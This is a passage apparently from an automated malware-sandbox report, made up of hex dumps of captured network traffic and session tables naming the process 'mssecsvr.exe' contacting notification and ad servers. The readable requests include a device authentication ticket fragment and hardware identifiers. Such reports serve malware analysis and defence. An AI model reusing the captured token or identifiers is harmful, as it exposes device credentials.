d0 f1 3f b5 fe af f3 e5 dc 3e a5 6d 5d 9e 19 87 83 71 af bf 15 6c 06 34 62 52 a8 f7 40 aa fb a8 00 fd 2a 98 06 32 aa 96 Data Ascii: t(;_r%6V9 _&B})OJqFlRFTmOlJMiqBx])Ab-4tHC 5+>q<qlB`AeJA<?!^8IQHTREUo[%(v#VerJ?>m]ql4bR@2
2022-07-20 13:44:28 UTC	7970	IN	Data Raw: ef 5e 44 0f f8 d3 f6 32 43 75 51 95 da d9 0b 3b 93 c8 ed 4f b5 50 3e 2e 7f e5 3e 0e 4a a6 1d 6e 05 65 eb db bf d8 fd af f2 3e 3c 41 55 73 2b 21 df 90 63 d0 30 a0 1f cb 84 ec ad 95 f8 5d 00 e7 41 55 f0 0d 4f 8d 1f 1a 4b 56 b1 c7 23 02 6a 14 0a 05 1d 94 7e c7 fc d7 8c 40 2a bc a8 52 c4 2f 25 90 74 1d 29 f6 be 2f f5 71 3b 2a 9a d5 91 57 8f c0 82 80 03 4e 34 f8 7e ce 42 ed 55 f8 38 8f 9a 1a 05 22 81 ba 56 9c 3f e1 32 da d9 57 47 c9 17 a1 21 85 58 d7 7a d7 e1 e3 fc b8 46 ca 87 b9 53 24 8c 58 81 4a 00 69 5a d3 f6 5b fe 27 90 97 34 3f ff d7 05 6f 17 23 c1 4f c6 9e dd 4f db 6c e6 26 d6 d7 d5 ee 45 c4 92 b2 90 92 2a d2 bb 57 80 f8 db 9f f9 38 9a e1 03 f9 ac 93 19 ed fd 27 49 09 1b 0d 85 6a c5 9f fc 8f f7 5b 66 28 e5 4b 48 d8 15 11 09 61 42 ec 7e 1a 7c 2a 29 f1 b7 Data Ascii: ^D2CuQ;OP>.>Jne><AUs+!c0]AUOKV#j~@R/%t)/q;WN4~BU8"V?2WG!XzFS$XJiZ['4?o#OOl&EW8'Ij[f(KHaB~\|)
2022-07-20 13:44:28 UTC	7978	IN	Data Raw: 44 90 20 e4 ae 40 0b 50 09 dc 71 ff 00 76 ff 00 96 d8 36 55 0a 2f 33 70 ad 40 ca 4d 0f ed 1f d9 c0 b4 a9 6c b1 1e 24 0a b1 1c 49 a7 80 f5 15 38 ff 00 b2 c9 05 74 aa 93 a8 2c 4f c1 5f 63 43 fb 2b 1a e3 cd 48 72 db 19 c7 02 bc 45 41 a9 d8 56 9c 7e 0f f2 f2 22 36 85 18 ad dd 84 8a 53 82 31 ad 0e c1 42 ff 00 d5 6c 69 5b 89 84 35 87 e2 d8 96 1d c7 26 3c 97 fe 6c 4c 8d aa 20 22 d7 d5 a1 5d 8f 51 4a 7e cb a3 7f ad ff 00 09 93 a4 ba 20 6a dc 78 86 a0 2a 7c 07 fc d7 c7 ed e2 15 a4 51 5f 4f 91 1c f7 a9 ff 00 84 4e 38 29 56 a4 2c f2 c8 4b 00 c4 02 02 6f 4a 7e ca fe ce 35 68 74 92 97 41 ea 6c cf f6 78 ee 54 81 c7 ec fd 9c 6d 2b 16 90 0f 4d 4e e4 12 79 6f 4f da f8 ff 00 c8 c1 c9 0a 2b 21 84 fa 81 5a 9f b2 b4 dc d3 ec fc 5f ea 7d 8c 00 2d a3 d8 d5 56 54 6e 3b 0a 92 0f Data Ascii: D @Pqv6U/3p@Ml$I8t,O_cC+HrEAV~"6S1Bli[5&<lL "]QJ~ jx*\|Q_ON8)V,KoJ~5htAlxTm+MNyoO+!Z_}-VTn;
2022-07-20 13:44:28 UTC	7994	IN	Data Raw: e1 ff 00 53 26 20 aa 25 54 04 46 15 15 0d c7 7f f8 6f e6 c8 f2 4a 92 ca 4f 35 14 56 d9 40 23 6e bf 0f 16 ff 00 84 c0 c5 14 f1 7c 3c 87 c0 ec 0d 6b ed f0 f2 e7 fe 57 fc 43 0d 26 94 ad 22 67 60 69 f0 9f 84 9f f8 d5 17 fd f7 82 ad 0b 27 8f 88 e4 48 0a 49 52 6b b2 8a 1f 8b fe 0f 07 0a 90 e9 d4 ac 4a aa 28 45 39 35 4e df f1 66 2b 4d c6 8e 5e b5 f8 7e d5 46 d4 14 5c 04 2b 69 ea b9 21 aa 57 f6 76 f8 b8 fe cf 0c 52 a6 60 66 a3 ca 78 33 10 5b 97 f3 57 e0 e7 92 a4 52 25 2d d9 90 a4 cc 6a c2 bc 48 34 eb fd e3 f1 c2 9a 5a 74 b2 19 83 90 c4 55 bb d0 29 fb 11 af f9 18 69 14 ab 2d b9 0b 5e 55 72 b5 02 9d 14 fd 9f 83 12 29 28 1b 8b 60 66 69 2b c5 41 07 95 3a b5 3e 29 3e 1f d8 c0 58 90 8e 5b 38 e3 90 18 8f 10 07 4f e6 af ed 3e 12 19 52 89 b3 7b 81 c7 e1 a5 79 13 4f 03 f6 Data Ascii: S& %TFoJO5V@#n\|<kWC&"g`i'HIRkJ(E95Nf+M^~F\+i!WvR`fx3[WR%-jH4ZtU)i-^Ur)(`fi+A:>)>X[8O>R{yO
2022-07-20 13:44:28 UTC	8010	IN	Data Raw: fd 9c 61 8c 93 41 a6 52 a6 2d 6e 4c 40 90 48 21 4b 11 9b 77 11 13 61 24 2e 00 93 e3 0d b1 de 94 3f f3 6e 19 25 57 50 58 a5 11 f3 6e 48 09 14 22 ad b7 ec 2b 7e c6 08 ec aa 1e 5d 82 4b a8 a7 b5 9c 97 56 e7 cd dc d4 50 94 78 fe b3 cb e3 f5 63 74 e1 12 7f be 3f c8 c1 a8 98 8d 10 dd 1d d9 7d 85 b4 70 d1 14 06 5a 6c 8a 38 a0 af d9 e2 9f e4 a6 6b 0c f8 8b 70 0a 8f c1 53 66 ef f0 8f e7 e3 f1 48 d9 1e 89 53 7b 88 e1 8d 52 42 5b f9 6b dd 9b ed 72 ff 00 25 3f 63 1e 6a 88 02 45 55 4e 35 23 ed 05 3f 66 bf b0 d2 7f 91 92 0c 97 4e 1d 28 ea 01 a8 e2 82 9f 67 f9 ff 00 e0 e3 c8 14 b8 28 9c 91 27 13 c7 ec ed f1 6e 3e 38 fe 2f b3 cf f6 f0 02 85 39 19 8b 72 55 fe ec d0 2a ff 00 33 0f da ff 00 3f d8 c3 6a a9 14 c9 eb b1 46 05 90 54 ed df f9 97 fd 97 c7 80 4a 8d a1 49 89 89 0b Data Ascii: aAR-nL@H!Kwa$.?n%WPXnH"+~]KVPxct?}pZl8kpSfHS{RB[kr%?cjEUN5#?fN(g('n>8/9rU*3?jFTJI
2022-07-20 13:44:28 UTC	8017	IN	Data Raw: e1 f1 c8 ab 27 d5 dd 5b ed f1 78 92 24 92 3f f7 5e 36 42 88 ab 59 c1 67 eb 97 75 62 19 49 72 ff 00 17 17 07 fd 8a 7e e3 d3 79 67 ff 00 87 c8 ca e9 90 0a 0f 6d 0b 98 94 11 ea 2b 73 57 8d 78 c7 4e 5f bc ff 00 2d 7d 28 bf dd 7f ee ff 00 e7 c9 82 ca 91 9a be 89 0d ef a8 a1 d5 22 8c bb 54 92 e7 99 fe fa 49 63 ff 00 3f 4f 04 24 42 d2 94 5a 71 2c 80 85 e1 31 46 60 eb fb ea a7 c1 ea bf fa 8b ff 00 32 f2 46 4c 91 57 7a 34 6a 0a 44 56 38 20 2f 5a 92 e3 e0 e5 ce 59 57 fd d8 fe 9f ee d2 3f f7 73 e4 44 90 a1 15 80 48 a4 b9 58 98 bc a8 28 58 d3 99 5f dd ac 37 08 ff 00 dd 42 9f 0f a7 ff 00 0f 86 d5 19 6f a3 94 46 1c d5 66 da 84 ba b0 a1 2b 2c 93 bc 1f cc 8e bf bb ff 00 83 c6 d5 52 1d 07 d7 3f 0d c2 aa 21 a9 14 2c c5 9b fb f7 e2 cd fd f5 cf d8 4f f7 dc 7e a6 40 ce 94 05 Data Ascii: '[x$?^6BYgubIr~ygm+sWxN_-}("TIc?O$BZq,1F`2FLWz4jDV8 /ZYW?sDHX(X_7BoFf+,R?!,O~@
2022-07-20 13:44:28 UTC	8033	IN	Data Raw: 27 92 ea 95 ac 19 55 9f 88 0c a7 62 6b b9 ff 00 7e 7f c0 fd 8c 00 21 4e 4b 88 e1 2a 8d fb 14 f8 ba 6e 7e 26 c9 5a a0 35 2b be 09 ea 8a 71 d9 4b 0e d5 3f 14 9f 0f fb e9 30 40 5c a9 89 2a a2 ea 37 8d 64 dc 21 04 8f 7a e1 31 ad 97 89 27 d5 ef a4 48 c0 88 12 ce ca 55 46 e4 f2 1f 67 fe 09 72 ec 58 af 9b 4c a4 c7 f5 1b 95 8c 8a 71 69 1c 95 a8 af 00 49 f8 d7 fc be 39 b1 84 1a 4a 23 4b b8 8e 44 30 c3 20 52 c8 1a 94 d8 8a fc 6f 93 31 ae 69 0d c9 ce 38 d6 ad c9 aa 6a 69 5d a9 f6 57 21 48 63 f7 57 60 7c 11 0a 54 d0 9e dd 39 37 c3 fb 7f 06 64 c6 3d e9 5f 69 39 81 db d3 34 ad 79 51 69 d4 7d 8f 8b f9 bf 9f 2a c8 2d ac ba 15 61 ca 2a ee 68 0d 47 87 c5 94 cb bd 09 9d ac 8c e5 da 83 63 bf fc 4f 30 e6 29 28 91 2d 24 11 c8 3e d5 07 fb 1f b1 ff 00 03 cf 2b 23 6b 54 64 92 73 Data Ascii: 'Ubk~!NKn~&Z5+qK?0@\7d!z1'HUFgrXLqiI9J#KD0 Ro1i8ji]W!HcW`\|T97d=_i94yQi}-ahGcO0)(-$>+#kTds
2022-07-20 13:44:28 UTC	8049	IN	Data Raw: 36 2b 56 88 96 b6 a1 54 d1 b7 a0 3d 7e d7 f9 fc 78 84 ac 08 f1 20 45 03 80 a6 e0 d4 92 df 03 ff 00 c8 ac 27 74 ab ac 89 1c 89 4f b3 5d ab b1 1f b0 9c 7f 9b d4 c7 92 b6 91 fa f5 5a 75 3f 68 f6 a1 f8 93 02 ac 28 23 3f 15 49 55 60 41 db e1 af ab f6 7f df 98 4a 55 37 d8 b2 d5 4b 70 3e cb 46 ff 00 99 99 58 56 99 04 88 8c 7f 61 b6 a7 76 5f b3 fe b6 05 a5 39 1e 55 e2 fb 00 48 e8 3a 1f db ff 00 59 f1 a4 36 e0 95 0a cc a7 60 01 ee b4 ff 00 3f 8f 0d aa f8 99 a3 04 39 e4 09 04 b0 da b5 fd 9e 3f c8 9c b1 ea 90 b5 b9 3f 1f 51 c9 65 63 c8 0e 84 1f b1 ff 00 01 fb 19 35 70 60 68 8a bc 79 31 a9 3d 49 38 15 56 72 ee dc 39 0e 41 a8 c3 b7 4f 83 fd 96 1b 42 83 ca 03 7a ac 01 54 a1 55 1d 48 af 1f 8f 97 fc 26 45 55 a6 e0 38 b1 2c 40 26 bf 23 fb 59 22 19 2c 58 fd 54 35 a9 f6 af Data Ascii: 6+VT=~x E'tO]Zu?h(#?IU`AJU7Kp>FXVav_9UH:Y6`?9??Qec5p`hy1=I8Vr9AOBzTUH&EU8,@&#Y",XT5
2022-07-20 13:44:28 UTC	8057	IN	Data Raw: 09 d9 41 2b 51 b8 3f b3 cf fe 31 e6 48 f3 6b a4 bb 4e 20 b7 28 88 24 fc 22 4e a4 73 0d ea dc 72 ff 00 7e fa 5f dd e4 e6 80 89 b3 61 6f 37 ae 81 ca 4d 10 41 cf ed 8a 37 c1 1b 34 7f b5 2a 7e f5 d3 ed e5 19 77 15 fc d9 32 4d 62 f5 25 b8 69 2d 85 22 52 ce 49 a9 d9 7e 04 fb 5f ef ef f7 de 6b 8f 2a 64 13 64 f5 2e 1c b4 48 55 e9 ba 81 df fc af f2 91 72 90 1b 82 b5 cc cf 11 8d 9f 68 e4 23 d3 20 d4 ed f1 37 3f f2 3f dd 5f 1e 4a 92 56 73 fa f8 11 c9 c9 98 3f 3a 53 6e 02 bc bf e7 9b 61 1b 2f 35 79 24 59 22 34 14 94 d3 fc 9e 00 11 f6 d9 bf dd 9f b2 99 1a 64 8e 6b 65 2c ae dd 56 bb 52 80 f2 fb 2d c5 3f dd df b3 8a 50 b2 5b c1 33 08 1a b2 38 20 f2 af bf f2 ff 00 91 fb 18 42 d2 f9 cd ca c6 ce b4 69 09 2b 41 b5 58 ff 00 ab 90 a5 2e 32 7d 56 18 e3 a1 27 88 a9 a5 47 21 f1 Data Ascii: A+Q?1HkN ($"Nsr~_ao7MA74~w2Mb%i-"RI~_kdd.HUrh# 7??_JVs?:Sna/5y$Y"4dke,VR-?P[38 Bi+AX.2}V'G!
2022-07-20 13:44:28 UTC	8073	IN	Data Raw: d3 2d 6d 91 a0 82 78 7d 46 07 99 27 ec bb 32 c9 3d df 2e 3f 0f ee ff 00 73 98 73 99 36 41 fc 7f 93 50 c8 2d ac 61 91 47 a6 c1 c2 28 25 be c8 fd df f2 2f ec 3f c5 fd df 1c c1 9c cd ee ca 95 85 df d8 0e 48 60 02 82 28 c5 94 8f 87 f7 9f f0 7f e6 f9 0a 4a a2 c0 8a ab 3e e4 d0 d2 b4 15 1f ca bc 7f e0 f2 26 7d 19 00 98 71 49 18 c8 dc 88 5a 1d bc 47 ed 27 fb f1 bf 9f 2b b6 74 db 5c 52 b0 45 b9 de 95 07 71 4f da fd bc 0b 6b 92 15 96 45 71 fb 34 55 14 fb 5c bf 61 bf c8 ff 00 2f 1e 69 6a 3e a2 05 ab 4a 7a 9e db 37 da ff 00 63 cb 0d 5a af 85 04 2a 5e 84 97 34 50 3c 0f d9 5c 40 4d 21 e5 aa 10 b3 10 58 13 47 f0 a7 18 fe 36 fb 3c ff 00 df 78 0a 14 60 a9 96 41 17 c5 18 15 6f e6 ff 00 27 ed 60 42 2a e6 35 11 f1 de b2 1a 12 45 1c 29 fe f5 5b 8f f9 7f 06 1e 49 5a 64 4e 07 Data Ascii: -mx}F'2=.?ss6AP-aG(%/?H`(J>&}qIZG'+t\REqOkEq4U\a/ij>Jz7cZ^4P<\@M!XG6<x`Ao'`B5E)[IZdN
2022-07-20 13:44:28 UTC	8089	IN	Data Raw: 44 22 44 a4 9e 3b 57 b9 6c 90 8a f1 b4 6e 3e bc ed 0d 78 a8 28 e7 fc 9f f7 ff 00 a7 c7 ed 7f 91 91 90 a4 19 5a 8f d7 a4 82 61 19 db 66 24 77 26 bf 07 2c 31 86 ca 24 a8 97 ed 1b f3 06 b2 a9 f8 80 db 92 ff 00 7b f1 ff 00 95 c3 26 21 6c 84 97 e8 86 b6 c2 e2 6a 97 98 c8 e7 fc 95 af ee f9 ff 00 37 ec 64 b3 8d e8 7f 02 49 46 47 3c 70 46 24 20 12 09 0a c4 0a 80 bc 79 47 f0 fc 5f 6b 31 cc 6c b1 e2 50 b8 e7 5e 0f 5f 51 99 07 c9 5b 97 1f f8 0c b2 31 b6 16 8e b8 8a 69 9c a3 02 d5 3c 51 6b b9 14 ca a9 25 07 79 04 88 1d 8d 42 85 35 db b2 8e 1f f0 ed 92 80 42 57 ac 49 f5 69 d2 34 53 e9 c6 8c cd bf 7a 2f 28 b9 7f af 99 38 85 86 12 34 96 9d 25 a4 98 1f 50 7a 0c a8 23 2f 52 4f 21 c9 2d ff 00 77 fc 9c be 3c c9 8c 9a 88 b5 29 ec 9b 4d 21 5d 8f c4 c5 7d be 13 f6 bf d5 cb 06 Data Ascii: D"D;Wln>x(Zaf$w&,1${&!lj7dIFG<pF$ yG_k1lP^_Q[1i<Qk%yB5BWIi4Sz/(84%Pz#/RO!-w<)M!]}
2022-07-20 13:44:28 UTC	8097	IN	Data Raw: 6c eb f6 3e 0c c3 c9 8c c4 ec e5 c6 56 11 72 b6 9d 6c c5 84 2e 8e 11 44 72 96 e5 cb e1 e1 1f 14 e5 ca 4f e4 e6 f8 49 3d ec 28 14 0d 9e a3 3c 4b e8 43 c9 63 66 ad 38 05 ab 2f c7 f6 be da e4 26 22 79 a6 24 85 7b 5d 64 c7 22 a0 35 1d 42 d3 b0 fb 5f f3 6e 60 4f 18 72 63 22 a6 d1 4d 73 0b c5 1a 34 bb 73 a8 fb 3c 18 73 e4 bf e4 70 cb 23 10 c4 92 8f 8e 49 64 80 33 a8 21 38 85 a0 a0 96 83 e2 f5 24 ff 00 53 8f 3c 87 85 4b c6 87 b8 d6 67 8d 59 ae 96 33 f1 d0 07 55 2b e9 7f c5 7c 3e 3f 53 0f 87 d0 32 28 37 b8 6b e2 24 21 63 8d 55 95 80 1c 42 8f 87 d3 e0 bf cf 96 c6 34 c3 8a 93 1d 26 cd 84 a9 aa 00 cc 80 30 0c d4 8d 3a 7a 5f 13 bb 7a 99 68 8f 46 b9 4e d7 4b 72 52 6b 66 89 bd 34 59 18 4e ad 4a 97 45 2c 9f 58 6f e5 97 fd d5 17 f7 59 23 8c 15 12 a4 be eb f4 7c 68 c5 a4 Data Ascii: l>Vrl.DrOI=(<KCcf8/&"y${]d"5B_n`Orc"Ms4s<sp#Id3!8$S<KgY3U+\|>?S2(7k$!cUB4&0:z_zhFNKrRkf4YNJE,XoY#\|h
2022-07-20 13:44:28 UTC	8113	IN	Data Raw: 08 3d 36 04 71 15 96 bf 69 b9 bf fb eb 87 ee f2 da 66 45 ac 9b 51 9e 66 01 00 91 4d 2a 0f ec ef cf fb cf f7 e7 f3 c9 8d 23 84 04 ce 1b 23 6a bf 58 69 54 b7 fb ed 5f 97 5f e5 fe 57 cc 79 9b 58 9b 47 9b ba a9 2e a0 f6 f8 be 23 fe c2 3f e4 cc 70 19 a0 ee d6 49 22 5f 4a 2f 49 4d 51 4f d8 53 cb f9 63 fd 8f f5 b2 d8 c8 03 cd 97 01 28 06 53 61 c2 19 25 05 d8 93 56 35 a7 fb af 82 4a ff 00 f1 3f b1 97 03 c5 ba 25 15 6b 33 24 8a e6 20 b3 22 9f b3 5d eb fe fc 64 ff 00 76 64 25 43 9b 02 99 58 5d 34 63 d5 b8 f5 3d 36 ff 00 75 d4 2e ff 00 b7 c5 23 c9 08 86 b2 54 ae 67 fa ec e6 59 39 2c 66 b4 0a dd ff 00 dd 5c b8 ff 00 26 1a a6 40 80 9a 58 4a c5 d2 38 56 8c ca 7e 20 37 0b fb 4d 2c 9f 65 63 c5 a0 ec bf 5c 58 ad a0 8d 2e 1c 24 6a d4 53 52 6a 4f c5 f6 bf 67 23 c3 6d 91 91 Data Ascii: =6qifEQfM*##jXiT__WyXG.#?pI"_J/IMQOSc(Sa%V5J?%k3$ "]dvd%CX]4c=6u.#TgY9,f\&@XJ8V~ 7M,ec\X.$jSRjOg#m
2022-07-20 13:44:28 UTC	8129	IN	Data Raw: 78 bf ba c2 22 3a 30 28 9d 26 49 6d ff 00 dc 9c b2 7e e2 46 21 22 e5 bc ce 38 c7 1a b3 3a f1 92 2b 4f 53 d4 fd f7 f7 bf ee cc 13 ee 58 84 7d dc 89 a7 dc cc b7 cc af 34 8c 5d d8 93 c6 4e 43 8c 70 f3 f8 f9 c7 65 fc 91 fd 87 ca 37 93 62 17 46 16 f3 5c 4b 3c ac 0a 44 a2 35 a8 da ae 3f 69 9f fd d9 23 7e da 61 95 81 48 05 34 78 ad 58 22 46 e5 e4 57 02 28 e3 a1 65 af 1e 4c d2 37 fc 94 e7 95 6e 93 de ff 00 ff d0 8d 5b cd 75 ce ab 70 e9 24 61 b8 3b 57 d3 94 b7 ec de ab f2 4e 1f f1 3f db cd 61 90 8b 42 6d a3 4f 15 eb 2c 16 61 22 9b 91 ac 40 91 11 a9 f8 e4 b2 9d be 04 f8 ff 00 e3 d6 6f f9 e1 fb bc c8 8e ee 2e 68 9e 6a ba a3 d9 bd aa b5 d4 92 71 f5 0f 20 91 b3 12 ca 7d 3f df 3b f0 54 e1 ff 00 5c 64 25 1e e5 c5 69 f5 9d de 9f 7c 92 ab 71 66 45 24 b5 6a cb c4 7a 7c d9 Data Ascii: x":0(&Im~F!"8:+OSX}4]NCpe7bF\K<D5?i#~aH4xX"FW(eL7n[up$a;WN?aBmO,a"@o.hjq }?;T\d%i\|qfE$jz\|
2022-07-20 13:44:28 UTC	8137	IN	Data Raw: b0 f0 a5 45 59 91 0d 7e c7 ed 53 a3 7e de 4a 90 be e4 34 60 09 17 8b 82 3e d7 6a 7d ac 11 42 36 48 84 4c 69 b8 d8 03 fe 56 cb 94 f3 5a 69 ac 5a 40 51 9b 8c 63 76 3f f0 ae bf f2 4f 25 c7 4a b1 34 79 60 0c f3 9e 1e a0 56 52 05 6a a4 73 fb 5f e4 2b 27 2c 97 8a 0f 24 a2 a5 d2 1e 30 d0 21 53 ea b4 9c 14 ef c5 23 3f bb b8 ff 00 51 e1 ff 00 87 ca fc 51 cf f1 fd 45 55 f2 ed 98 ba 99 5e 40 d1 c0 8a b2 06 61 52 48 1f b8 e1 cb 87 24 8d a3 79 3f e2 19 0d 46 4e 11 fd 34 84 6c 7a 64 96 b7 0c 80 ab 17 7f 54 92 bd 4b 15 f4 5a 2f db ff 00 af 99 8b 2c c2 43 fd 83 12 98 68 f0 af d6 5e 67 4d a3 46 5f 17 2f cb d6 8b fe 05 ff 00 79 fe 46 63 e6 97 a6 94 26 13 a1 8f 7e 43 8d 63 e4 94 aa ec 3e 2e 3f cb 98 c2 4c 90 fa 70 9e 57 9d 49 e4 a4 9f f6 28 9c b8 47 ff 00 34 65 93 20 00 50 Data Ascii: EY~S~J4`>j}B6HLiVZiZ@Qcv?O%J4y`VRjs_+',$0!S#?QQEU^@aRH$y?FN4lzdTKZ/,Ch^gMF_/yFc&~Cc>.?LpWI(G4e P
2022-07-20 13:44:28 UTC	8153	IN	Data Raw: 39 c8 d0 af f9 0a e9 8f 87 5b 06 3c 48 6b eb 73 71 19 11 91 03 bb d2 aa 40 e4 87 fe 3e 3d 29 3e 3f 57 fe 4e 7f ba f2 e8 63 af e9 b1 e2 47 42 6e 2d 42 09 9d ae 27 58 f9 07 6a 20 8e ab fb 8e 11 7e df 2f b5 82 58 81 3f cc 4f 1a 12 6b a6 5f ef 5d 25 92 85 99 0b fc 2d fb 4e ad fb 6e b9 70 83 5f 12 14 c0 e5 e7 52 21 51 31 ad 50 91 ca bc 65 67 7f 5f e3 48 e2 8f f7 1f ea 7d 8c cb e6 d7 22 83 d2 ac e5 b5 94 cb ca 36 0c 69 0c 95 34 27 fd f6 c9 f6 fe 0e 3f de 64 32 9d 92 11 89 a7 fa 6c b3 4e 55 26 57 2d ea c1 f0 fa aa 3f e5 ab 9f f7 bf e4 fc 1f 6f fe 2c cc 3f a8 57 fb bf f7 8d a6 54 af 2d fa c8 8c 6a ce 1e 40 c9 c7 e7 fc df 66 3c c6 fc b1 1c 99 8c 88 4b ed 26 4b 48 96 28 a4 42 2a 64 93 6d df 9f f2 48 df b1 1b 7c 1e 9f f3 e4 f1 e4 06 5b ff 00 98 e4 12 94 6a 5a ad cc Data Ascii: 9[<Hksq@>=)>?WNcGBn-B'Xj ~/X?Ok_]%-Nnp_R!Q1Peg_H}"6i4'?d2lNU&W-?o,?WT-j@f<K&KH(B*dmH\|[jZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.7	51337	20.199.120.182	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:44:36 UTC	8162	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 39 37 33 63 36 32 33 35 34 33 36 32 61 38 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 2973c62354362a8d
2022-07-20 13:44:36 UTC	8163	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 13:44:36 UTC	8163	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 39 37 33 63 36 32 33 35 34 33 36 32 61 38 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 54 69 38 64 44 74 63 47 2b 6e 56 77 43 42 53 39 37 48 76 31 6a 70 37 4f 4f 4f 44 72 71 4e 37 46 58 69 6f 47 4c 48 31 2f 76 2f 53 35 30 42 79 33 4f 4f 48 49 65 52 32 6e 33 78 53 30 68 6d 74 35 75 65 57 2f 6c 48 34 4c 4f 30 77 31 66 44 6f 30 51 46 2f 4c 79 39 36 2b 50 74 53 37 59 65 2b 64 53 43 59 4c 70 55 69 56 46 6c 58 56 77 62 48 46 35 50 46 30 47 44 53 76 70 4e 4e 55 4a 6e 49 47 77 53 38 65 48 68 6c Data Ascii: ATH 2 CON\DEVICE 1014Context: 2973c62354362a8d<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdTi8dDtcG+nVwCBS97Hv1jp7OOODrqN7FXioGLH1/v/S50By3OOHIeR2n3xS0hmt5ueW/lH4LO0w1fDo0QF/Ly96+PtS7Ye+dSCYLpUiVFlXVwbHF5PF0GDSvpNNUJnIGwS8eHhl
2022-07-20 13:44:36 UTC	8164	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 39 37 33 63 36 32 33 35 34 33 36 32 61 38 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 2973c62354362a8d<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 13:44:36 UTC	8164	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 13:44:36 UTC	8164	IN	Data Raw: 4d 53 2d 43 56 3a 20 5a 75 6e 48 66 45 33 35 59 30 71 35 6a 78 59 72 68 76 74 64 54 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: ZunHfE35Y0q5jxYrhvtdTw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.7	51343	20.40.129.122	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:44:36 UTC	8164	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220720T224436Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=8b1cc07ce2aa44e6ad4ea7c1581598b6&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611518&metered=false&nettype=ethernet&npid=sc-310091&oemName=pcnvlh%2C%20Inc.&oemid=pcnvlh%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=pcnvlh7%2C1&tl=2&tsu=1611518&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 X-SDK-HW-TOKEN: 